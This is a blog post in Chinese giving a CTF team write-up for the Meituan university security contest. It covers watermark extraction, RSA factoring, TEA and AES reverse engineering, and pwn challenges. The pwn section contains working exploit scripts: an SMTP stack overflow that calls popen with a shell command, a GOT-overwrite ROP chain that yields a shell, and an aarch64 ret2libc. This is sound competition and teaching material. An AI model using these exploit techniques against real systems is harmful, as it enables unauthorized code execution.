第五届美团网络安全高校挑战赛团体初赛writeup

布满荆棘的人生 2024-04-06 10:16 68阅读 0赞

#### **一、misc** ####

##### **1.题目名称：CyberSpace** #####

先选择最小的数使其相等，然后分成两部分依次加各部分最小的次数，不会写脚本只能手搓

![0b744504f1c2feed6a50e05467602b80.jpeg][]

b= \[32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55\] flag='' for i in range(len(b)): flag+=chr(b\[i\]+70) print(flag) \#flag\{different\_xor\}

cryptostrange\_rsa1将 n 也变成小数的形式， n/gift 就约等于 q\*\*2，然后开方在附近搜索 q，之后解 RSA 即可

#### 2.题目名称：ezdct-svd ####

开局一张图

![b3ea9dc01d7474f3f8bdef7c9733bee7.jpeg][]

根据题目名ezdct-svd就可以知道是dct的频域隐写，然后hint.txt为

我们找到了用于嵌入水印的脚本文件hide.py中其中的三行(这三行并不挨着)：
     
          watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128
     
          block_shape = (8, 8)
     
          Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30

最后那句可以在[invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)][invisible-watermark_dwtDctSvd.py at main _ ShieldMnt_invisible-watermark _github.com]这找到相关源码，解量化的方法就是`int ((s[0] % scale) > scale * 0.5)`，思路就结束了，所以说图片先分块，然后用dct变换后再svd分解，取矩阵的最大特征值后解量化即可，据此写脚本得到

import matplotlib.pyplot as plt

import cv2

import numpy as np

def infer\_dct\_svd(frame):

\_block = 8

res = \[\]

row, col = frame.shape

for i in range(row//\_block):

for j in range(col//\_block):

block = np.float32(frame\[i\*\_block : i\*\_block + \_block,j\*\_block : j\*\_block + \_block\])

\_DCT = cv2.dct(block)

u,s,v = np.linalg.svd(\_DCT)

\# print(s\[0\])

score = int ((s\[0\] % 30) > 30 \* 0.5)

res.append(score)

return np.array(res)\*255

wm\_length = 64\*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic\[:,:,2\]

r = infer\_dct\_svd(R)\[:64\*64\].reshape(64,64)

plt.imshow(r)

plt.show()

其实这边有三个图层，但是一般都是先从r图层开始，这里可以很清楚的看见最上面有一长串的黑值，且长度为7，找到下一处长度为7的黑条，数了下长度为37，而37\*37也正是二维码的尺寸，修改size即可得到flag二维码

import matplotlib.pyplot as plt

import cv2

import numpy as np

def infer\_dct\_svd(frame):

\_block = 8

res = \[\]

row, col = frame.shape

for i in range(row//\_block):

for j in range(col//\_block):

block = np.float32(frame\[i\*\_block : i\*\_block + \_block,j\*\_block : j\*\_block + \_block\])

\_DCT = cv2.dct(block)

u,s,v = np.linalg.svd(\_DCT)

\# print(s\[0\])

score = int ((s\[0\] % 30) > 30 \* 0.5)

res.append(score)

return np.array(res)\*255

wm\_length = 64\*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic\[:,:,2\]

r = infer\_dct\_svd(R)\[:37\*37\].reshape(37,37)

plt.imshow(r)

plt.show()

![4f9ad388b272dc0d8de483b7d8470d66.png][]

flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1}

#### **二、crypto** ####

##### **1.题目名称：strange\_rsa1** #####

将 n 也变成小数的形式， n/gift 就约等于 q\*\*2，然后开方在附近搜索 q，之后解 RSA 即可

n =

1085251670480696185881759768678465632475926812796997649358685718055379954

6624462103913858473496818696201515406983422891322398284055862636990369785

6981515674800664445719963249384904839446749699482532818680540192673814671

5820329055733811884209972318421449890274001066247441467392386878183120129

20530048166672413

c =

2397039756048232641854450089598256479468105533338518682968670780232292334

5863102521635786012870368948010933275558746273559080917607938457905967618

7771244287110980875259673479232093471909565125203508067664161083248956602

4336466193680162788257795178456958970794396600929575831696736865051255892

3594173887431924

gift =

0.98787132100571390232983890257676523085030139619192824401690536524885652

0696332072123473648091143791837320129959007867874213673629034957871918764

5145615363088975706222696090029443619975380433122746296316430693294386663

4902218917872921129649895018564353897251496107245851561546885150079838465

99924478524442938

from Crypto.Util.number import \*

n=RealField(prec=512\*2)(n)

p1=n/gift

print(int(p1))

from gmpy2 import \*

p=iroot(int(p1),2)\[0\]

print(p)

p=1048129736947767868864747342626440475167260924133296899231005859892212

0259940804922095197051670288498112926299671514217457279033970326518832408

003060034368

import sympy

from Crypto.Util.number import \*

import gmpy2

floating\_rng=500000

for i in range(p-floating\_rng, p+floating\_rng):

q = divmod(n,i)

if q\[1\]==0:

print("p 等于： ",i)

p=1048129736947767868864747342626440475167260924133296899231005859892212

0259940804922095197051670288498112926299671514217457279033970326518832408

003060034369

q=n//p

d=invert(65537,(p-1)\*(q-1))

m=pow(c,d,n)

print(long\_to\_bytes(m))

\#flag\{a5537b232c1ab750e0db61ec352504a301b7b212\}

#### **三、pwn** ####

##### **1.题目名称：smtp** #####

协议逆向，可知 sender\_worker 有栈溢出

\#!/usr/bin/env python3

from re import search

from pwncli import \*

cli\_script()

io = gift\["io"\]

elf = gift\["elf"\]

libc = gift.libc

filename = gift.filename \# current filename

is\_debug = gift.debug \# is debug or not

is\_remote = gift.remote \# is remote or not

gdb\_pid = gift.gdb\_pid \# gdb pid if debug

if gift.remote:

libc = ELF("./libc-2.31.so")

gift\["libc"\] = libc

p = remote('127.0.0.1',9999)

p.sendafter('220 SMTP tsmtp\\n','HELOfxxk')

p.sendafter('250 Ok\\n',"MAIL FROM:cat flag >&5\\x00")

p.sendafter("250 Ok\\n",b"RCPT TO:" + flat(\{

0x100:

0x804d1d0,

'a'\*0xc,

elf.plt.popen,

'dead',

0x804d140,

elf.search(b'r\\x00').\_\_next\_\_()

\},length=0x200))

p.sendafter('250 Ok\\n','DATA')

p.sendafter(".<CR><LF>\\n",b".\\r\\n" + b"fxxk")

p.interactive()

p.close()

##### **2.题目名称：note** #####

菜单的逻辑，但是是栈溢出。 利用 magic\_gadget:add \[rbp-3Dh\],ebx 即可。

\#!/usr/bin/env python3

from pwncli import \*

cli\_script()

io:tube = gift\["io"\]

elf:ELF = gift\["elf"\]

libc:ELF = gift.libc

filename = gift.filename \# current filename

is\_debug = gift.debug \# is debug or not

is\_remote = gift.remote \# is remote or not

gdb\_pid = gift.gdb\_pid \# gdb pid if debug

context.arch = 'amd64‘

if gift.remote:

libc = ELF("./libc-2.31.so")

gift\["libc"\] = libc

def cmd(idx):

sla('leave',str(idx))

\#0 ~ 0x1ff

def add(size,cont):

cmd(1)

sla('Size:',str(size))

sla('Content:',str(cont))

def show(idx):

cmd(2)

sla('Index:',str(idx))

def edit(idx,cont):

cmd(3)

sla('Index:',str(idx))

sa('Content:',(cont))

def free(idx):

cmd(4)

sla('Index:',str(idx))

gdb.attach(io,'b \*0x401579')

sleep(1)

CurrentGadgets.set\_find\_area(1,0)

edit(-4,flat(\{

8:\[

CurrentGadgets.write\_by\_magic(elf.bss(0x100),0,u32\_ex('sh')),

CurrentGadgets.write\_by\_magic(elf.got.puts,libc.sym.puts,libc.sym.system),

CurrentGadgets.pop\_rdi\_ret(),

elf.bss(0x100),

CurrentGadgets.ret(),

elf.plt.puts

\}))

io.interactive()

##### **3.题目名称：捉迷藏** #####

简单的利用一下 angr 就行

import angr

import sys

proj = angr.Project("pwn", auto\_load\_libs=False)

state = proj.factory.blank\_state(addr=0x4076BD)

simu = proj.factory.simgr(state)

simu.explore(find=0x4079C6, avoid=0x407A43)

if simu.found:

print("find!")

solution = simu.found\[0\]

key = solution.posix.dumps(sys.stdin.fileno())

print(key)

\#get :

'<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00

\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x

00'

\#!/usr/bin/env python3

from pwncli import \*

cli\_script()

io = gift\["io"\]

elf = gift\["elf"\]

libc = gift.libc

filename = gift.filename \# current filename

is\_debug = gift.debug \# is debug or not

is\_remote = gift.remote \# is remote or not

gdb\_pid = gift.gdb\_pid \# gdb pid if debug

sa('sbAmJLMLWm:',"a "\*8)

sa('HuEqdjYtuWo:','a'\*0x33)

\#sa('tfAxpqDQuTCyJw:','a'\*8)

sa('hbsoMdIRWpYRqvfClb:','a'\*0x35)

sa('tfAxpqDQuTCyJw:','a'\*0x22)

sa('UTxqmFvmLy:','a '\*3 + '9254 ' + '0 ' + 'a '\*3)

sa('LLQPyLAOGJbnm:','<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0

0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\

x00\\x00\\x00\\x00\\x00\\x00')

sa('gRGKqIlcuj:',flat(

0xf + 8:\[0x401334\]

\},length=0x37

))

io.interactive()

#### **4.题目名称：ret2libc\_aarch64** ####

正如题目字面意思， ret2libc，不过是 aarch64

\#!/usr/bin/env python3

from pwncli import \*

cli\_script()

io: tube = gift.io

elf: ELF = gift.elf

libc: ELF = gift.libc

def leak(addr: int):

sla(">", "1")

sa("sensible>>\\n", p64\_ex(addr))

return rl()

def pwn(data):

sla(">", "2")

sla("sensible>>\\n", data)

msg = leak(elf.got.read)

read\_addr = (0x4000 << 24) + u64\_ex(msg\[:-1\])

log\_address("read\_addr", read\_addr)

lb = read\_addr - 0x00000000000c3b40

\# 0x00128e80 binsh

\# 0x0000000000063e5c: ldr x0, \[sp, \#0x18\]; ldp x29, x30, \[sp\], \#0x20; ret;

\# 0000000000040578 system

log\_address("target gadget", lb + 0x63e5c)

data = flat(\{

136: \[

lb + 0x63e5c,

\[lb + 0x000000000040578\] \* 5,

lb + 0x00128e80,

\[lb + 0x000000000040578\] \* 5

\})

pwn(data)

ia()

##### **三、reverse** #####

##### **1.题目名称：small** #####

以二进制文件形式，在 ida 中打开

![9e8e8e464bb41e8c61f952e15cb04a32.jpeg][]

在适当的地址处，按 c 转成汇编代码，分析出是 TEA 加密， delta 和密钥均已知

![5fce1c1091be9bee91cebffdfe4753bc.jpeg][]

在字符串”good”后找到密文

![a7549f28727ce0125f7d39e0f1d3700a.jpeg][]

解密 TEA 即可得到 flag

\#include <stdio.h>

\#include <stdint.h>//加密函数

void encrypt(unsigned int num\_rounds, uint32\_t\* v, uint32\_t\* k) \{

uint32\_t v0 = v\[0\], v1 = v\[1\], sum = 0, i;

uint32\_t delta = 0x67452301;

uint32\_t k0 = k\[0\], k1 = k\[1\], k2 = k\[2\], k3 = k\[3\];

for (i = 0; i < num\_rounds; i++) \{

sum += delta;

v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);

v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

v\[0\] = v0; v\[1\] = v1;

//解密函数

void decrypt(unsigned int num\_rounds, uint32\_t\* v, uint32\_t\* k) \{

uint32\_t v0 = v\[0\], v1 = v\[1\], i;

uint32\_t delta = 0x67452301,sum = delta\*num\_rounds;

uint32\_t k0 = k\[0\], k1 = k\[1\], k2 = k\[2\], k3 = k\[3\];

for (i = 0; i<num\_rounds; i++) \{

v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);

sum -= delta;

v\[0\] = v0; v\[1\] = v1;

//打印数据 hex\_or\_chr: 1-hex 0-chr

void dump\_data(uint32\_t \* v,int n,bool hex\_or\_chr)

if(hex\_or\_chr)

for(int i=0;i<n;i++)

printf("0x%x,",v\[i\]);

else

for (int i = 0; i < n; i++)

for (int j = 0; j < sizeof(uint32\_t)/sizeof(uint8\_t); j++)

printf("%c", (v\[i\] >> (j \* 8)) & 0xFF);

printf("\\n");

return;

int main()

// v 为要加解密的数据

uint32\_t v\[\] =

\{ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0

x51dc88fb \};

// k 为加解密密钥， 4 个 32 位无符号整数，密钥长度为 128 位

uint32\_t k\[4\] = \{ 0x01,0x23,0x45,0x67 \};

// num\_rounds，建议取值为 32

unsigned int r = 35;

int n = sizeof(v) / sizeof(uint32\_t);

/\*

printf("加密前明文数据： ");

dump\_data(v,n,1);

for(int i=0;i<n/2;i++)

encrypt(r,&v\[i\*2\], k);

printf("加密后密文数据： ");

dump\_data(v,n,1);

\*/

for(int i=0;i<n/2;i++)

decrypt(r,&v\[i\*2\], k);

printf("解密后明文数据： ");

dump\_data(v,n,1);

printf("解密后明文字符： ");

dump\_data(v,n,0);

return 0;

// flag\{327a6c4304ad5938eaf0efb6cc3e53dc\}

##### **2.题目名称：static** #####

aes.c:

\#include <ctype.h>

\#include <stdint.h>

\#include <stdio.h>

\#include <stdlib.h>

\#include <string.h>

void hexdump(void \*pdata, int size) \{

const uint8\_t \*p = (const uint8\_t \*)pdata;

int count = size / 16;

int rem = size % 16;

for (int r = 0; r <= count; r++) \{

int k = (r == count) ? rem : 16;

if (r)

printf("\\n");

for (int i = 0; i < 16; i++) \{

if (i < k)

printf("%02X ", p\[i\]);

else

printf(" ");

for (int i = 0; i < k; i++) \{

printf("%c", isprint(p\[i\]) ? p\[i\] : '.');

p += 0x10;

printf("\\n");

/\*

This is an implementation of the AES algorithm, specifically ECB, CTR and CBC

mode. Block size can be chosen in aes.h - available choices are AES128, AES192,

AES256.

The implementation is verified against the test vectors in:

National Institute of Standards and Technology Special Publication 800-38A

2001 ED

ECB-AES128

\----------

plain-text:

6bc1bee22e409f96e93d7e117393172a

ae2d8a571e03ac9c9eb76fac45af8e51

30c81c46a35ce411e5fbc1191a0a52ef

f69f2445df4f9b17ad2b417be66c3710

key:

2b7e151628aed2a6abf7158809cf4f3c

resulting cipher

3ad77bb40d7a3660a89ecaf32466ef97

f5d3d58503b9699de785895a96fdbaaf

43b1cd7f598ece23881b00e3ed030688

7b0c785e27e8ad3f8223207104725dd4

NOTE: String length must be evenly divisible by 16byte (str\_len % 16 == 0)

You should pad the end of the string with zeros if this is not the case.

For AES192/256 the key size is proportionally larger.

\*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\* Includes: \*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

\#include "aes.h"

\#include <string.h> // CBC mode, for memset

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\* Defines: \*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

// The number of columns comprising a state in AES. This is a constant in AES.

// Value=4

\#define Nb 4

\#if defined(AES256) && (AES256 == 1)

\#define Nk 8

\#define Nr 14

\#elif defined(AES192) && (AES192 == 1)

\#define Nk 6

\#define Nr 12

\#else

\#define Nk 4 // The number of 32 bit words in a key.

\#define Nr 10 // The number of rounds in AES Cipher.

\#endif

// jcallan@github points out that declaring Multiply as a function

// reduces code size considerably with the Keil ARM compiler.

// See this link for more information:

// https://github.com/kokke/tiny-AES-C/pull/3

\#ifndef MULTIPLY\_AS\_A\_FUNCTION

\#define MULTIPLY\_AS\_A\_FUNCTION 0

\#endif

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\* Private variables: \*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

// state - array holding the intermediate results during decryption.

typedef uint8\_t state\_t\[4\]\[4\];

// The lookup-tables are marked const so they can be placed in read-only storage

// instead of RAM The numbers below can be computed dynamically trading ROM for

// RAM - This can be useful in (embedded) bootloader applications, where ROM is

// often limited.

static const uint8\_t sbox\[256\] = \{

// 0 1 2 3 4 5 6 7 8 9 A B C

// D E F

0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,

0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,

0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,

0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,

0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,

0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,

0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,

0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,

0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,

0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,

0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,

0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,

0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,

0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,

0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,

0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,

0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,

0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,

0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,

0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,

0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,

0xb0, 0x54, 0xbb, 0x16\};

\#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

static const uint8\_t rsbox\[256\] = \{

0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,

0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,

0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,

0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,

0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,

0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,

0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,

0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,

0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,

0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,

0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,

0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,

0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,

0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,

0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,

0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,

0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,

0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,

0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,

0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,

0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,

0x55, 0x21, 0x0c, 0x7d\};

\#endif

// The round constant word array, Rcon\[i\], contains the values given by

// x to the power (i-1) being powers of x (x is denoted as \{02\}) in the field

// GF(2^8)

static const uint8\_t Rcon\[11\] = \{0x8d, 0x01, 0x02, 0x04, 0x08, 0x10,

0x20, 0x40, 0x80, 0x1b, 0x36\};

/\*

\* Jordan Goulder points out in PR \#12

\* (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of

\* the elements in the Rcon array, because they are unused.

\* From Wikipedia's article on the Rijndael key schedule @

\* https://en.wikipedia.org/wiki/Rijndael\_key\_schedule\#Rcon

\* "Only the first some of these constants are actually used – up to rcon\[10\]

\* for AES-128 (as 11 round keys are needed), up to rcon\[8\] for AES-192, up to

\* rcon\[7\] for AES-256. rcon\[0\] is not used in AES algorithm."

\*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\* Private functions: \*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\*

static uint8\_t getSBoxValue(uint8\_t num)

return sbox\[num\];

\*/

\#define getSBoxValue(num) (sbox\[(num)\])

// This function produces Nb(Nr+1) round keys. The round keys are used in each

// round to decrypt the states.

static void KeyExpansion(uint8\_t \*RoundKey, const uint8\_t \*Key) \{

unsigned i, j, k;

uint8\_t tempa\[4\]; // Used for the column/row operations

// The first round key is the key itself.

for (i = 0; i < Nk; ++i) \{

RoundKey\[(i \* 4) + 0\] = Key\[(i \* 4) + 0\];

RoundKey\[(i \* 4) + 1\] = Key\[(i \* 4) + 1\];

RoundKey\[(i \* 4) + 2\] = Key\[(i \* 4) + 2\];

RoundKey\[(i \* 4) + 3\] = Key\[(i \* 4) + 3\];

// All other round keys are found from the previous round keys.

for (i = Nk; i < Nb \* (Nr + 1); ++i) \{

k = (i - 1) \* 4;

tempa\[0\] = RoundKey\[k + 0\];

tempa\[1\] = RoundKey\[k + 1\];

tempa\[2\] = RoundKey\[k + 2\];

tempa\[3\] = RoundKey\[k + 3\];

if (i % Nk == 0) \{

// This function shifts the 4 bytes in a word to the left once.

// \[a0,a1,a2,a3\] becomes \[a1,a2,a3,a0\]

// Function RotWord()

const uint8\_t u8tmp = tempa\[0\];

tempa\[0\] = tempa\[1\];

tempa\[1\] = tempa\[2\];

tempa\[2\] = tempa\[3\];

tempa\[3\] = u8tmp;

// SubWord() is a function that takes a four-byte input word and

// applies the S-box to each of the four bytes to produce an output word.

// Function Subword()

tempa\[0\] = getSBoxValue(tempa\[0\]);

tempa\[1\] = getSBoxValue(tempa\[1\]);

tempa\[2\] = getSBoxValue(tempa\[2\]);

tempa\[3\] = getSBoxValue(tempa\[3\]);

tempa\[0\] = tempa\[0\] ^ Rcon\[i / Nk\];

\#if defined(AES256) && (AES256 == 1)

if (i % Nk == 4) \{

// Function Subword()

tempa\[0\] = getSBoxValue(tempa\[0\]);

tempa\[1\] = getSBoxValue(tempa\[1\]);

tempa\[2\] = getSBoxValue(tempa\[2\]);

tempa\[3\] = getSBoxValue(tempa\[3\]);

\#endif

j = i \* 4;

k = (i - Nk) \* 4;

RoundKey\[j + 0\] = RoundKey\[k + 0\] ^ tempa\[0\];

RoundKey\[j + 1\] = RoundKey\[k + 1\] ^ tempa\[1\];

RoundKey\[j + 2\] = RoundKey\[k + 2\] ^ tempa\[2\];

RoundKey\[j + 3\] = RoundKey\[k + 3\] ^ tempa\[3\];

void AES\_init\_ctx(struct AES\_ctx \*ctx, const uint8\_t \*key) \{

KeyExpansion(ctx->RoundKey, key);

\#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))

void AES\_init\_ctx\_iv(struct AES\_ctx \*ctx, const uint8\_t \*key,

const uint8\_t \*iv) \{

KeyExpansion(ctx->RoundKey, key);

memcpy(ctx->Iv, iv, AES\_BLOCKLEN);

void AES\_ctx\_set\_iv(struct AES\_ctx \*ctx, const uint8\_t \*iv) \{

memcpy(ctx->Iv, iv, AES\_BLOCKLEN);

\#endif

// This function adds the round key to state.

// The round key is added to the state by an XOR function.

static void AddRoundKey(uint8\_t round, state\_t \*state,

const uint8\_t \*RoundKey) \{

uint8\_t i, j;

for (i = 0; i < 4; ++i) \{

for (j = 0; j < 4; ++j) \{

(\*state)\[i\]\[j\] ^= RoundKey\[(round \* Nb \* 4) + (i \* Nb) + j\];

// The SubBytes Function Substitutes the values in the

// state matrix with values in an S-box.

static void SubBytes(state\_t \*state) \{

uint8\_t i, j;

for (i = 0; i < 4; ++i) \{

for (j = 0; j < 4; ++j) \{

(\*state)\[j\]\[i\] = getSBoxValue((\*state)\[j\]\[i\]);

// The ShiftRows() function shifts the rows in the state to the left.

// Each row is shifted with different offset.

// Offset = Row number. So the first row is not shifted.

static void ShiftRows(state\_t \*state) \{

uint8\_t temp;

// Rotate first row 1 columns to left

temp = (\*state)\[0\]\[1\];

(\*state)\[0\]\[1\] = (\*state)\[1\]\[1\];

(\*state)\[1\]\[1\] = (\*state)\[2\]\[1\];

(\*state)\[2\]\[1\] = (\*state)\[3\]\[1\];

(\*state)\[3\]\[1\] = temp;

// Rotate second row 2 columns to left

temp = (\*state)\[0\]\[2\];

(\*state)\[0\]\[2\] = (\*state)\[2\]\[2\];

(\*state)\[2\]\[2\] = temp;

temp = (\*state)\[1\]\[2\];

(\*state)\[1\]\[2\] = (\*state)\[3\]\[2\];

(\*state)\[3\]\[2\] = temp;

// Rotate third row 3 columns to left

temp = (\*state)\[0\]\[3\];

(\*state)\[0\]\[3\] = (\*state)\[3\]\[3\];

(\*state)\[3\]\[3\] = (\*state)\[2\]\[3\];

(\*state)\[2\]\[3\] = (\*state)\[1\]\[3\];

(\*state)\[1\]\[3\] = temp;

static uint8\_t xtime(uint8\_t x) \{ return ((x << 1) ^ (((x >> 7) & 1) \* 0x1b)); \}

// MixColumns function mixes the columns of the state matrix

static void MixColumns(state\_t \*state) \{

uint8\_t i;

uint8\_t Tmp, Tm, t;

for (i = 0; i < 4; ++i) \{

t = (\*state)\[i\]\[0\];

Tmp = (\*state)\[i\]\[0\] ^ (\*state)\[i\]\[1\] ^ (\*state)\[i\]\[2\] ^ (\*state)\[i\]\[3\];

Tm = (\*state)\[i\]\[0\] ^ (\*state)\[i\]\[1\];

Tm = xtime(Tm);

